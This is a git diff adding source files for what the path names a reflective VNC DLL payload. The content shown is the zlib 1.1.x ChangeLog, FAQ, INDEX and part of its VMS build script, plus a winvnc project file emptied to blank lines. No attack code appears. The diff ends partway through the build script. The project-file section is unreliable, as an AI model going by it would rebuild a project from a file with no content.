+///////////////////////////////////////////////////////////////////////////// +// +// Generated from the TEXTINCLUDE 3 resource. +// + + +///////////////////////////////////////////////////////////////////////////// +#endif // not APSTUDIO_INVOKED + diff --git a/external/source/reflective_vncdll/winvnc/winvnc/winvnc.vcproj b/external/source/reflective_vncdll/winvnc/winvnc/winvnc.vcproj new file mode 100644 index 0000000000..5f2787cfdf --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/winvnc.vcproj @@ -0,0 +1,727 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/external/source/reflective_vncdll/zlib/ChangeLog b/external/source/reflective_vncdll/zlib/ChangeLog new file mode 100644 index 0000000000..0e45ff7f33 --- /dev/null +++ b/external/source/reflective_vncdll/zlib/ChangeLog @@ -0,0 +1,481 @@ + + ChangeLog file for zlib + +Changes in 1.1.4 (11 March 2002) +- ZFREE was repeated on same allocation on some error conditions. + This creates a security problem described in + http://www.zlib.org/advisory-2002-03-11.txt +- Returned incorrect error (Z_MEM_ERROR) on some invalid data +- Avoid accesses before window for invalid distances with inflate window + less than 32K. +- force windowBits > 8 to avoid a bug in the encoder for a window size + of 256 bytes. (A complete fix will be available in 1.1.5). + +Changes in 1.1.3 (9 July 1998) +- fix "an inflate input buffer bug that shows up on rare but persistent + occasions" (Mark) +- fix gzread and gztell for concatenated .gz files (Didier Le Botlan) +- fix gzseek(..., SEEK_SET) in write mode +- fix crc check after a gzeek (Frank Faubert) +- fix miniunzip when the last entry in a zip file is itself a zip file + (J Lillge) +- add contrib/asm586 and contrib/asm686 (Brian Raiter) + See http://www.muppetlabs.com/~breadbox/software/assembly.html +- add support for Delphi 3 in contrib/delphi (Bob Dellaca) +- add support for C++Builder 3 and Delphi 3 in contrib/delphi2 (Davide Moretti) +- do not exit prematurely in untgz if 0 at start of block (Magnus Holmgren) +- use macro EXTERN instead of extern to support DLL for BeOS (Sander Stoks) +- added a FAQ file + +- Support gzdopen on Mac with Metrowerks (Jason Linhart) +- Do not redefine Byte on Mac (Brad Pettit & Jason Linhart) +- define SEEK_END too if SEEK_SET is not defined (Albert Chin-A-Young) +- avoid some warnings with Borland C (Tom Tanner) +- fix a problem in contrib/minizip/zip.c for 16-bit MSDOS (Gilles Vollant) +- emulate utime() for WIN32 in contrib/untgz (Gilles Vollant) +- allow several arguments to configure (Tim Mooney, Frodo Looijaard) +- use libdir and includedir in Makefile.in (Tim Mooney) +- support shared libraries on OSF1 V4 (Tim Mooney) +- remove so_locations in "make clean" (Tim Mooney) +- fix maketree.c compilation error (Glenn, Mark) +- Python interface to zlib now in Python 1.5 (Jeremy Hylton) +- new Makefile.riscos (Rich Walker) +- initialize static descriptors in trees.c for embedded targets (Nick Smith) +- use "foo-gz" in example.c for RISCOS and VMS (Nick Smith) +- add the OS/2 files in Makefile.in too (Andrew Zabolotny) +- fix fdopen and halloc macros for Microsoft C 6.0 (Tom Lane) +- fix maketree.c to allow clean compilation of inffixed.h (Mark) +- fix parameter check in deflateCopy (Gunther Nikl) +- cleanup trees.c, use compressed_len only in debug mode (Christian Spieler) +- Many portability patches by Christian Spieler: + . zutil.c, zutil.h: added "const" for zmem* + . Make_vms.com: fixed some typos + . Make_vms.com: msdos/Makefile.*: removed zutil.h from some dependency lists + . msdos/Makefile.msc: remove "default rtl link library" info from obj files + . msdos/Makefile.*: use model-dependent name for the built zlib library + . msdos/Makefile.emx, nt/Makefile.emx, nt/Makefile.gcc: + new makefiles, for emx (DOS/OS2), emx&rsxnt and mingw32 (Windows 9x / NT) +- use define instead of typedef for Bytef also for MSC small/medium (Tom Lane) +- replace __far with _far for better portability (Christian Spieler, Tom Lane) +- fix test for errno.h in configure (Tim Newsham) + +Changes in 1.1.2 (19 March 98) +- added contrib/minzip, mini zip and unzip based on zlib (Gilles Vollant) + See http://www.winimage.com/zLibDll/unzip.html +- preinitialize the inflate tables for fixed codes, to make the code + completely thread safe (Mark) +- some simplifications and slight speed-up to the inflate code (Mark) +- fix gzeof on non-compressed files (Allan Schrum) +- add -std1 option in configure for OSF1 to fix gzprintf (Martin Mokrejs) +- use default value of 4K for Z_BUFSIZE for 16-bit MSDOS (Tim Wegner + Glenn) +- added os2/Makefile.def and os2/zlib.def (Andrew Zabolotny) +- add shared lib support for UNIX_SV4.2MP (MATSUURA Takanori) +- do not wrap extern "C" around system includes (Tom Lane) +- mention zlib binding for TCL in README (Andreas Kupries) +- added amiga/Makefile.pup for Amiga powerUP SAS/C PPC (Andreas Kleinert) +- allow "make install prefix=..." even after configure (Glenn Randers-Pehrson) +- allow "configure --prefix $HOME" (Tim Mooney) +- remove warnings in example.c and gzio.c (Glenn Randers-Pehrson) +- move Makefile.sas to amiga/Makefile.sas + +Changes in 1.1.1 (27 Feb 98) +- fix macros _tr_tally_* in deflate.h for debug mode (Glenn Randers-Pehrson) +- remove block truncation heuristic which had very marginal effect for zlib + (smaller lit_bufsize than in gzip 1.2.4) and degraded a little the + compression ratio on some files. This also allows inlining _tr_tally for + matches in deflate_slow. +- added msdos/Makefile.w32 for WIN32 Microsoft Visual C++ (Bob Frazier) + +Changes in 1.1.0 (24 Feb 98) +- do not return STREAM_END prematurely in inflate (John Bowler) +- revert to the zlib 1.0.8 inflate to avoid the gcc 2.8.0 bug (Jeremy Buhler) +- compile with -DFASTEST to get compression code optimized for speed only +- in minigzip, try mmap'ing the input file first (Miguel Albrecht) +- increase size of I/O buffers in minigzip.c and gzio.c (not a big gain + on Sun but significant on HP) + +- add a pointer to experimental unzip library in README (Gilles Vollant) +- initialize variable gcc in configure (Chris Herborth) + +Changes in 1.0.9 (17 Feb 1998) +- added gzputs and gzgets functions +- do not clear eof flag in gzseek (Mark Diekhans) +- fix gzseek for files in transparent mode (Mark Diekhans) +- do not assume that vsprintf returns the number of bytes written (Jens Krinke) +- replace EXPORT with ZEXPORT to avoid conflict with other programs +- added compress2 in zconf.h, zlib.def, zlib.dnt +- new asm code from Gilles Vollant in contrib/asm386 +- simplify the inflate code (Mark): + . Replace ZALLOC's in huft_build() with single ZALLOC in inflate_blocks_new() + . ZALLOC the length list in inflate_trees_fixed() instead of using stack + . ZALLOC the value area for huft_build() instead of using stack + . Simplify Z_FINISH check in inflate() + +- Avoid gcc 2.8.0 comparison bug a little differently than zlib 1.0.8 +- in inftrees.c, avoid cc -O bug on HP (Farshid Elahi) +- in zconf.h move the ZLIB_DLL stuff earlier to avoid problems with + the declaration of FAR (Gilles VOllant) +- install libz.so* with mode 755 (executable) instead of 644 (Marc Lehmann) +- read_buf buf parameter of type Bytef* instead of charf* +- zmemcpy parameters are of type Bytef*, not charf* (Joseph Strout) +- do not redeclare unlink in minigzip.c for WIN32 (John Bowler) +- fix check for presence of directories in "make install" (Ian Willis) + +Changes in 1.0.8 (27 Jan 1998) +- fixed offsets in contrib/asm386/gvmat32.asm (Gilles Vollant) +- fix gzgetc and gzputc for big endian systems (Markus Oberhumer) +- added compress2() to allow setting the compression level +- include sys/types.h to get off_t on some systems (Marc Lehmann & QingLong) +- use constant arrays for the static trees in trees.c instead of computing + them at run time (thanks to Ken Raeburn for this suggestion). To create + trees.h, compile with GEN_TREES_H and run "make test". +- check return code of example in "make test" and display result +- pass minigzip command line options to file_compress +- simplifying code of inflateSync to avoid gcc 2.8 bug + +- support CC="gcc -Wall" in configure -s (QingLong) +- avoid a flush caused by ftell in gzopen for write mode (Ken Raeburn) +- fix test for shared library support to avoid compiler warnings +- zlib.lib -> zlib.dll in msdos/zlib.rc (Gilles Vollant) +- check for TARGET_OS_MAC in addition to MACOS (Brad Pettit) +- do not use fdopen for Metrowerks on Mac (Brad Pettit)) +- add checks for gzputc and gzputc in example.c +- avoid warnings in gzio.c and deflate.c (Andreas Kleinert) +- use const for the CRC table (Ken Raeburn) +- fixed "make uninstall" for shared libraries +- use Tracev instead of Trace in infblock.c +- in example.c use correct compressed length for test_sync +- suppress +vnocompatwarnings in configure for HPUX (not always supported) + +Changes in 1.0.7 (20 Jan 1998) +- fix gzseek which was broken in write mode +- return error for gzseek to negative absolute position +- fix configure for Linux (Chun-Chung Chen) +- increase stack space for MSC (Tim Wegner) +- get_crc_table and inflateSyncPoint are EXPORTed (Gilles Vollant) +- define EXPORTVA for gzprintf (Gilles Vollant) +- added man page zlib.3 (Rick Rodgers) +- for contrib/untgz, fix makedir() and improve Makefile + +- check gzseek in write mode in example.c +- allocate extra buffer for seeks only if gzseek is actually called +- avoid signed/unsigned comparisons (Tim Wegner, Gilles Vollant) +- add inflateSyncPoint in zconf.h +- fix list of exported functions in nt/zlib.dnt and mdsos/zlib.def + +Changes in 1.0.6 (19 Jan 1998) +- add functions gzprintf, gzputc, gzgetc, gztell, gzeof, gzseek, gzrewind and + gzsetparams (thanks to Roland Giersig and Kevin Ruland for some of this code) +- Fix a deflate bug occuring only with compression level 0 (thanks to + Andy Buckler for finding this one). +- In minigzip, pass transparently also the first byte for .Z files. +- return Z_BUF_ERROR instead of Z_OK if output buffer full in uncompress() +- check Z_FINISH in inflate (thanks to Marc Schluper) +- Implement deflateCopy (thanks to Adam Costello) +- make static libraries by default in configure, add --shared option. +- move MSDOS or Windows specific files to directory msdos +- suppress the notion of partial flush to simplify the interface + (but the symbol Z_PARTIAL_FLUSH is kept for compatibility with 1.0.4) +- suppress history buffer provided by application to simplify the interface + (this feature was not implemented anyway in 1.0.4) +- next_in and avail_in must be initialized before calling inflateInit or + inflateInit2 +- add EXPORT in all exported functions (for Windows DLL) +- added Makefile.nt (thanks to Stephen Williams) +- added the unsupported "contrib" directory: + contrib/asm386/ by Gilles Vollant + 386 asm code replacing longest_match(). + contrib/iostream/ by Kevin Ruland + A C++ I/O streams interface to the zlib gz* functions + contrib/iostream2/ by Tyge Løvset + Another C++ I/O streams interface + contrib/untgz/ by "Pedro A. Aranda Guti\irrez" + A very simple tar.gz file extractor using zlib + contrib/visual-basic.txt by Carlos Rios + How to use compress(), uncompress() and the gz* functions from VB. +- pass params -f (filtered data), -h (huffman only), -1 to -9 (compression + level) in minigzip (thanks to Tom Lane) + +- use const for rommable constants in deflate +- added test for gzseek and gztell in example.c +- add undocumented function inflateSyncPoint() (hack for Paul Mackerras) +- add undocumented function zError to convert error code to string + (for Tim Smithers) +- Allow compilation of gzio with -DNO_DEFLATE to avoid the compression code. +- Use default memcpy for Symantec MSDOS compiler. +- Add EXPORT keyword for check_func (needed for Windows DLL) +- add current directory to LD_LIBRARY_PATH for "make test" +- create also a link for libz.so.1 +- added support for FUJITSU UXP/DS (thanks to Toshiaki Nomura) +- use $(SHAREDLIB) instead of libz.so in Makefile.in (for HPUX) +- added -soname for Linux in configure (Chun-Chung Chen, +- assign numbers to the exported functions in zlib.def (for Windows DLL) +- add advice in zlib.h for best usage of deflateSetDictionary +- work around compiler bug on Atari (cast Z_NULL in call of s->checkfn) +- allow compilation with ANSI keywords only enabled for TurboC in large model +- avoid "versionString"[0] (Borland bug) +- add NEED_DUMMY_RETURN for Borland +- use variable z_verbose for tracing in debug mode (L. Peter Deutsch). +- allow compilation with CC +- defined STDC for OS/2 (David Charlap) +- limit external names to 8 chars for MVS (Thomas Lund) +- in minigzip.c, use static buffers only for 16-bit systems +- fix suffix check for "minigzip -d foo.gz" +- do not return an error for the 2nd of two consecutive gzflush() (Felix Lee) +- use _fdopen instead of fdopen for MSC >= 6.0 (Thomas Fanslau) +- added makelcc.bat for lcc-win32 (Tom St Denis) +- in Makefile.dj2, use copy and del instead of install and rm (Frank Donahoe) +- Avoid expanded $Id: ChangeLog 3351 2006-01-08 23:25:19Z mmiller $. Use "rcs -kb" or "cvs admin -kb" to avoid Id expansion. +- check for unistd.h in configure (for off_t) +- remove useless check parameter in inflate_blocks_free +- avoid useless assignment of s->check to itself in inflate_blocks_new +- do not flush twice in gzclose (thanks to Ken Raeburn) +- rename FOPEN as F_OPEN to avoid clash with /usr/include/sys/file.h +- use NO_ERRNO_H instead of enumeration of operating systems with errno.h +- work around buggy fclose on pipes for HP/UX +- support zlib DLL with BORLAND C++ 5.0 (thanks to Glenn Randers-Pehrson) +- fix configure if CC is already equal to gcc + +Changes in 1.0.5 (3 Jan 98) +- Fix inflate to terminate gracefully when fed corrupted or invalid data +- Use const for rommable constants in inflate +- Eliminate memory leaks on error conditions in inflate +- Removed some vestigial code in inflate +- Update web address in README + +Changes in 1.0.4 (24 Jul 96) +- In very rare conditions, deflate(s, Z_FINISH) could fail to produce an EOF + bit, so the decompressor could decompress all the correct data but went + on to attempt decompressing extra garbage data. This affected minigzip too. +- zlibVersion and gzerror return const char* (needed for DLL) +- port to RISCOS (no fdopen, no multiple dots, no unlink, no fileno) +- use z_error only for DEBUG (avoid problem with DLLs) + +Changes in 1.0.3 (2 Jul 96) +- use z_streamp instead of z_stream *, which is now a far pointer in MSDOS + small and medium models; this makes the library incompatible with previous + versions for these models. (No effect in large model or on other systems.) +- return OK instead of BUF_ERROR if previous deflate call returned with + avail_out as zero but there is nothing to do +- added memcmp for non STDC compilers +- define NO_DUMMY_DECL for more Mac compilers (.h files merged incorrectly) +- define __32BIT__ if __386__ or i386 is defined (pb. with Watcom and SCO) +- better check for 16-bit mode MSC (avoids problem with Symantec) + +Changes in 1.0.2 (23 May 96) +- added Windows DLL support +- added a function zlibVersion (for the DLL support) +- fixed declarations using Bytef in infutil.c (pb with MSDOS medium model) +- Bytef is define's instead of typedef'd only for Borland C +- avoid reading uninitialized memory in example.c +- mention in README that the zlib format is now RFC1950 +- updated Makefile.dj2 +- added algorithm.doc + +Changes in 1.0.1 (20 May 96) [1.0 skipped to avoid confusion] +- fix array overlay in deflate.c which sometimes caused bad compressed data +- fix inflate bug with empty stored block +- fix MSDOS medium model which was broken in 0.99 +- fix deflateParams() which could generated bad compressed data. +- Bytef is define'd instead of typedef'ed (work around Borland bug) +- added an INDEX file +- new makefiles for DJGPP (Makefile.dj2), 32-bit Borland (Makefile.b32), + Watcom (Makefile.wat), Amiga SAS/C (Makefile.sas) +- speed up adler32 for modern machines without auto-increment +- added -ansi for IRIX in configure +- static_init_done in trees.c is an int +- define unlink as delete for VMS +- fix configure for QNX +- add configure branch for SCO and HPUX +- avoid many warnings (unused variables, dead assignments, etc...) +- no fdopen for BeOS +- fix the Watcom fix for 32 bit mode (define FAR as empty) +- removed redefinition of Byte for MKWERKS +- work around an MWKERKS bug (incorrect merge of all .h files) + +Changes in 0.99 (27 Jan 96) +- allow preset dictionary shared between compressor and decompressor +- allow compression level 0 (no compression) +- add deflateParams in zlib.h: allow dynamic change of compression level + and compression strategy. +- test large buffers and deflateParams in example.c +- add optional "configure" to build zlib as a shared library +- suppress Makefile.qnx, use configure instead +- fixed deflate for 64-bit systems (detected on Cray) +- fixed inflate_blocks for 64-bit systems (detected on Alpha) +- declare Z_DEFLATED in zlib.h (possible parameter for deflateInit2) +- always return Z_BUF_ERROR when deflate() has nothing to do +- deflateInit and inflateInit are now macros to allow version checking +- prefix all global functions and types with z_ with -DZ_PREFIX +- make falloc completely reentrant (inftrees.c) +- fixed very unlikely race condition in ct_static_init +- free in reverse order of allocation to help memory manager +- use zlib-1.0/* instead of zlib/* inside the tar.gz +- make zlib warning-free with "gcc -O3 -Wall -Wwrite-strings -Wpointer-arith + -Wconversion -Wstrict-prototypes -Wmissing-prototypes" +- allow gzread on concatenated .gz files +- deflateEnd now returns Z_DATA_ERROR if it was premature +- deflate is finally (?) fully deterministic (no matches beyond end of input) +- Document Z_SYNC_FLUSH +- add uninstall in Makefile +- Check for __cpluplus in zlib.h +- Better test in ct_align for partial flush +- avoid harmless warnings for Borland C++ +- initialize hash_head in deflate.c +- avoid warning on fdopen (gzio.c) for HP cc -Aa +- include stdlib.h for STDC compilers +- include errno.h for Cray +- ignore error if ranlib doesn't exist +- call ranlib twice for NeXTSTEP +- use exec_prefix instead of prefix for libz.a +- renamed ct_* as _tr_* to avoid conflict with applications +- clear z->msg in inflateInit2 before any error return +- initialize opaque in example.c, gzio.c, deflate.c and inflate.c +- fixed typo in zconf.h (_GNUC__ => __GNUC__) +- check for WIN32 in zconf.h and zutil.c (avoid farmalloc in 32-bit mode) +- fix typo in Make_vms.com (f$trnlnm -> f$getsyi) +- in fcalloc, normalize pointer if size > 65520 bytes +- don't use special fcalloc for 32 bit Borland C++ +- use STDC instead of __GO32__ to avoid redeclaring exit, calloc, etc... +- use Z_BINARY instead of BINARY +- document that gzclose after gzdopen will close the file +- allow "a" as mode in gzopen. +- fix error checking in gzread +- allow skipping .gz extra-field on pipes +- added reference to Perl interface in README +- put the crc table in FAR data (I dislike more and more the medium model :) +- added get_crc_table +- added a dimension to all arrays (Borland C can't count). +- workaround Borland C bug in declaration of inflate_codes_new & inflate_fast +- guard against multiple inclusion of *.h (for precompiled header on Mac) +- Watcom C pretends to be Microsoft C small model even in 32 bit mode. +- don't use unsized arrays to avoid silly warnings by Visual C++: + warning C4746: 'inflate_mask' : unsized array treated as '__far' + (what's wrong with far data in far model?). +- define enum out of inflate_blocks_state to allow compilation with C++ + +Changes in 0.95 (16 Aug 95) +- fix MSDOS small and medium model (now easier to adapt to any compiler) +- inlined send_bits +- fix the final (:-) bug for deflate with flush (output was correct but + not completely flushed in rare occasions). +- default window size is same for compression and decompression + (it's now sufficient to set MAX_WBITS in zconf.h). +- voidp -> voidpf and voidnp -> voidp (for consistency with other + typedefs and because voidnp was not near in large model). + +Changes in 0.94 (13 Aug 95) +- support MSDOS medium model +- fix deflate with flush (could sometimes generate bad output) +- fix deflateReset (zlib header was incorrectly suppressed) +- added support for VMS +- allow a compression level in gzopen() +- gzflush now calls fflush +- For deflate with flush, flush even if no more input is provided. +- rename libgz.a as libz.a +- avoid complex expression in infcodes.c triggering Turbo C bug +- work around a problem with gcc on Alpha (in INSERT_STRING) +- don't use inline functions (problem with some gcc versions) +- allow renaming of Byte, uInt, etc... with #define. +- avoid warning about (unused) pointer before start of array in deflate.c +- avoid various warnings in gzio.c, example.c, infblock.c, adler32.c, zutil.c +- avoid reserved word 'new' in trees.c + +Changes in 0.93 (25 June 95) +- temporarily disable inline functions +- make deflate deterministic +- give enough lookahead for PARTIAL_FLUSH +- Set binary mode for stdin/stdout in minigzip.c for OS/2 +- don't even use signed char in inflate (not portable enough) +- fix inflate memory leak for segmented architectures + +Changes in 0.92 (3 May 95) +- don't assume that char is signed (problem on SGI) +- Clear bit buffer when starting a stored block +- no memcpy on Pyramid +- suppressed inftest.c +- optimized fill_window, put longest_match inline for gcc +- optimized inflate on stored blocks. +- untabify all sources to simplify patches + +Changes in 0.91 (2 May 95) +- Default MEM_LEVEL is 8 (not 9 for Unix) as documented in zlib.h +- Document the memory requirements in zconf.h +- added "make install" +- fix sync search logic in inflateSync +- deflate(Z_FULL_FLUSH) now works even if output buffer too short +- after inflateSync, don't scare people with just "lo world" +- added support for DJGPP + +Changes in 0.9 (1 May 95) +- don't assume that zalloc clears the allocated memory (the TurboC bug + was Mark's bug after all :) +- let again gzread copy uncompressed data unchanged (was working in 0.71) +- deflate(Z_FULL_FLUSH), inflateReset and inflateSync are now fully implemented +- added a test of inflateSync in example.c +- moved MAX_WBITS to zconf.h because users might want to change that. +- document explicitly that zalloc(64K) on MSDOS must return a normalized + pointer (zero offset) +- added Makefiles for Microsoft C, Turbo C, Borland C++ +- faster crc32() + +Changes in 0.8 (29 April 95) +- added fast inflate (inffast.c) +- deflate(Z_FINISH) now returns Z_STREAM_END when done. Warning: this + is incompatible with previous versions of zlib which returned Z_OK. +- work around a TurboC compiler bug (bad code for b << 0, see infutil.h) + (actually that was not a compiler bug, see 0.81 above) +- gzread no longer reads one extra byte in certain cases +- In gzio destroy(), don't reference a freed structure +- avoid many warnings for MSDOS +- avoid the ERROR symbol which is used by MS Windows + +Changes in 0.71 (14 April 95) +- Fixed more MSDOS compilation problems :( There is still a bug with + TurboC large model. + +Changes in 0.7 (14 April 95) +- Added full inflate support. +- Simplified the crc32() interface. The pre- and post-conditioning + (one's complement) is now done inside crc32(). WARNING: this is + incompatible with previous versions; see zlib.h for the new usage. + +Changes in 0.61 (12 April 95) +- workaround for a bug in TurboC. example and minigzip now work on MSDOS. + +Changes in 0.6 (11 April 95) +- added minigzip.c +- added gzdopen to reopen a file descriptor as gzFile +- added transparent reading of non-gziped files in gzread. +- fixed bug in gzread (don't read crc as data) +- fixed bug in destroy (gzio.c) (don't return Z_STREAM_END for gzclose). +- don't allocate big arrays in the stack (for MSDOS) +- fix some MSDOS compilation problems + +Changes in 0.5: +- do real compression in deflate.c. Z_PARTIAL_FLUSH is supported but + not yet Z_FULL_FLUSH. +- support decompression but only in a single step (forced Z_FINISH) +- added opaque object for zalloc and zfree. +- added deflateReset and inflateReset +- added a variable zlib_version for consistency checking. +- renamed the 'filter' parameter of deflateInit2 as 'strategy'. + Added Z_FILTERED and Z_HUFFMAN_ONLY constants. + +Changes in 0.4: +- avoid "zip" everywhere, use zlib instead of ziplib. +- suppress Z_BLOCK_FLUSH, interpret Z_PARTIAL_FLUSH as block flush + if compression method == 8. +- added adler32 and crc32 +- renamed deflateOptions as deflateInit2, call one or the other but not both +- added the method parameter for deflateInit2. +- added inflateInit2 +- simplied considerably deflateInit and inflateInit by not supporting + user-provided history buffer. This is supported only in deflateInit2 + and inflateInit2. + +Changes in 0.3: +- prefix all macro names with Z_ +- use Z_FINISH instead of deflateEnd to finish compression. +- added Z_HUFFMAN_ONLY +- added gzerror() diff --git a/external/source/reflective_vncdll/zlib/FAQ b/external/source/reflective_vncdll/zlib/FAQ new file mode 100644 index 0000000000..9ce6d9f322 --- /dev/null +++ b/external/source/reflective_vncdll/zlib/FAQ @@ -0,0 +1,100 @@ + + Frequently Asked Questions about zlib + + +If your question is not there, please check the zlib home page +http://www.zlib.org which may have more recent information. +The lastest zlib FAQ is at http://www.gzip.org/zlib/zlib_faq.html + + + 1. Is zlib Y2K-compliant? + + Yes. zlib doesn't handle dates. + + 2. Where can I get a Windows DLL version? + + The zlib sources can be compiled without change to produce a DLL. If you + want a precompiled DLL, see http://www.winimage.com/zLibDll/ . Questions + about the zlib DLL should be sent to Gilles Vollant (info@winimage.com). + + 3. Where can I get a Visual Basic interface to zlib? + + See + * http://www.winimage.com/zLibDll/cmp-z-it.zip + * http://www.dogma.net/markn/articles/zlibtool/zlibtool.htm + * contrib/visual-basic.txt in the zlib distribution + + 4. compress() returns Z_BUF_ERROR + + Make sure that before the call of compress, the length of the compressed + buffer is equal to the total size of the compressed buffer and not + zero. For Visual Basic, check that this parameter is passed by reference + ("as any"), not by value ("as long"). + + 5. deflate() or inflate() returns Z_BUF_ERROR + + Before making the call, make sure that avail_in and avail_out are not + zero. When setting the parameter flush equal to Z_FINISH, also make sure + that avail_out is big enough to allow processing all pending input. + + 6. Where's the zlib documentation (man pages, etc.)? + + It's in zlib.h for the moment, and Francis S. Lin has converted it to a + web page zlib.html. Volunteers to transform this to Unix-style man pages, + please contact Jean-loup Gailly (jloup@gzip.org). Examples of zlib usage + are in the files example.c and minigzip.c. + + 7. Why don't you use GNU autoconf or libtool or ...? + + Because we would like to keep zlib as a very small and simple + package. zlib is rather portable and doesn't need much configuration. + + 8. I found a bug in zlib. + + Most of the time, such problems are due to an incorrect usage of + zlib. Please try to reproduce the problem with a small program and send + the corresponding source to us at zlib@gzip.org . Do not send + multi-megabyte data files without prior agreement. + + 9. Why do I get "undefined reference to gzputc"? + + If "make test" produces something like + + example.o(.text+0x154): undefined reference to `gzputc' + + check that you don't have old files libz.* in /usr/lib, /usr/local/lib or + /usr/X11R6/lib. Remove any old versions, then do "make install". + +10. I need a Delphi interface to zlib. + + See the directories contrib/delphi and contrib/delphi2 in the zlib + distribution. + +11. Can zlib handle .zip archives? + + See the directory contrib/minizip in the zlib distribution. + +12. Can zlib handle .Z files? + + No, sorry. You have to spawn an uncompress or gunzip subprocess, or adapt + the code of uncompress on your own. + +13. How can I make a Unix shared library? + + make clean + ./configure -s + make + +14. Why does "make test" fail on Mac OS X? + + Mac OS X already includes zlib as a shared library, and so -lz links the + shared library instead of the one that the "make" compiled. For zlib + 1.1.3, the two are incompatible due to different compile-time + options. Simply change the -lz in the Makefile to libz.a, and it will use + the compiled library instead of the shared one and the "make test" will + succeed. + +15. I have a question about OttoPDF + + We are not the authors of OttoPDF. The real author is on the OttoPDF web + site Joel Hainley jhainley@myndkryme.com. diff --git a/external/source/reflective_vncdll/zlib/INDEX b/external/source/reflective_vncdll/zlib/INDEX new file mode 100644 index 0000000000..9615c346e1 --- /dev/null +++ b/external/source/reflective_vncdll/zlib/INDEX @@ -0,0 +1,86 @@ +ChangeLog history of changes +INDEX this file +FAQ Frequently Asked Questions about zlib +Make_vms.com script for Vax/VMS +Makefile makefile for Unix (generated by configure) +Makefile.in makefile for Unix (template for configure) +Makefile.riscos makefile for RISCOS +README guess what +algorithm.txt description of the (de)compression algorithm +configure configure script for Unix +descrip.mms makefile for Vax/VMS +zlib.3 mini man page for zlib (volunteers to write full + man pages from zlib.h welcome. write to jloup@gzip.org) + +amiga/Makefile.sas makefile for Amiga SAS/C +amiga/Makefile.pup makefile for Amiga powerUP SAS/C PPC + +msdos/Makefile.w32 makefile for Microsoft Visual C++ 32-bit +msdos/Makefile.b32 makefile for Borland C++ 32-bit +msdos/Makefile.bor makefile for Borland C/C++ 16-bit +msdos/Makefile.dj2 makefile for DJGPP 2.x +msdos/Makefile.emx makefile for EMX 0.9c (32-bit DOS/OS2) +msdos/Makefile.msc makefile for Microsoft C 16-bit +msdos/Makefile.tc makefile for Turbo C +msdos/Makefile.wat makefile for Watcom C +msdos/zlib.def definition file for Windows DLL +msdos/zlib.rc definition file for Windows DLL + +nt/Makefile.nt makefile for Windows NT +nt/zlib.dnt definition file for Windows NT DLL +nt/Makefile.emx makefile for EMX 0.9c/RSXNT 1.41 (Win32 Intel) +nt/Makefile.gcc makefile for Windows NT using GCC (mingw32) + + + zlib public header files (must be kept): +zconf.h +zlib.h + + private source files used to build the zlib library: +adler32.c +compress.c +crc32.c +deflate.c +deflate.h +gzio.c +infblock.c +infblock.h +infcodes.c +infcodes.h +inffast.c +inffast.h +inflate.c +inftrees.c +inftrees.h +infutil.c +infutil.h +maketree.c +trees.c +uncompr.c +zutil.c +zutil.h + + source files for sample programs: +example.c +minigzip.c + + unsupported contribution by third parties + +contrib/asm386/ by Gilles Vollant + 386 asm code replacing longest_match(). + +contrib/minizip/ by Gilles Vollant + Mini zip and unzip based on zlib + See http://www.winimage.com/zLibDll/unzip.html + +contrib/iostream/ by Kevin Ruland + A C++ I/O streams interface to the zlib gz* functions + +contrib/iostream2/ by Tyge Løvset + Another C++ I/O streams interface + +contrib/untgz/ by "Pedro A. Aranda Guti\irrez" + A very simple tar.gz extractor using zlib + +contrib/visual-basic.txt by Carlos Rios + How to use compress(), uncompress() and the gz* functions from VB. diff --git a/external/source/reflective_vncdll/zlib/Make_vms.com b/external/source/reflective_vncdll/zlib/Make_vms.com new file mode 100644 index 0000000000..37888173ae --- /dev/null +++ b/external/source/reflective_vncdll/zlib/Make_vms.com @@ -0,0 +1,115 @@ +$! make libz under VMS +$! written by Martin P.J. Zinser +$! +$! Look for the compiler used +$! +$ ccopt = "" +$ if f$getsyi("HW_MODEL").ge.1024 +$ then +$ ccopt = "/prefix=all"+ccopt +$ comp = "__decc__=1" +$ if f$trnlnm("SYS").eqs."" then define sys sys$library: +$ else +$ if f$search("SYS$SYSTEM:DECC$COMPILER.EXE").eqs."" +$ then +$ comp = "__vaxc__=1" +$ if f$trnlnm("SYS").eqs."" then define sys sys$library: +$ else +$ if f$trnlnm("SYS").eqs."" then define sys decc$library_include: +$ ccopt = "/decc/prefix=all"+ccopt +$ comp = "__decc__=1" +$ endif +$ endif +$! +$! Build the thing plain or with mms +$! +$ write sys$output "Compiling Zlib sources ..." +$ if f$search("SYS$SYSTEM:MMS.EXE").eqs."" +$ then +$ dele example.obj;*,minigzip.obj;* +$ CALL MAKE adler32.OBJ "CC ''CCOPT' adler32" - + adler32.c zlib.h zconf.h +$ CALL MAKE compress.OBJ "CC ''CCOPT' compress" - + compress.c zlib.h zconf.h +$ CALL MAKE crc32.OBJ "CC ''CCOPT' crc32" - + crc32.c zlib.h zconf.h +$ CALL MAKE deflate.OBJ "CC ''CCOPT' deflate" - + deflate.c deflate.h zutil.h zlib.h zconf.h +$ CALL MAKE gzio.OBJ "CC ''CCOPT' gzio" - + gzio.c zutil.h zlib.h zconf.h +$ CALL MAKE infblock.OBJ "CC ''CCOPT' infblock" - + infblock.c zutil.h zlib.h zconf.h infblock.h +$ CALL MAKE infcodes.OBJ "CC ''CCOPT' infcodes" - + infcodes.c zutil.h zlib.h zconf.h inftrees.h +$ CALL MAKE inffast.OBJ "CC ''CCOPT' inffast" - + inffast.c zutil.h zlib.h zconf.h inffast.h +$ CALL MAKE inflate.OBJ "CC ''CCOPT' inflate" - + inflate.c zutil.h zlib.h zconf.h infblock.h +$ CALL MAKE inftrees.OBJ "CC ''CCOPT' inftrees" - + inftrees.c zutil.h zlib.h zconf.h inftrees.h +$ CALL MAKE infutil.OBJ "CC ''CCOPT' infutil" - + infutil.c zutil.h zlib.h zconf.h inftrees.h infutil.h +$ CALL 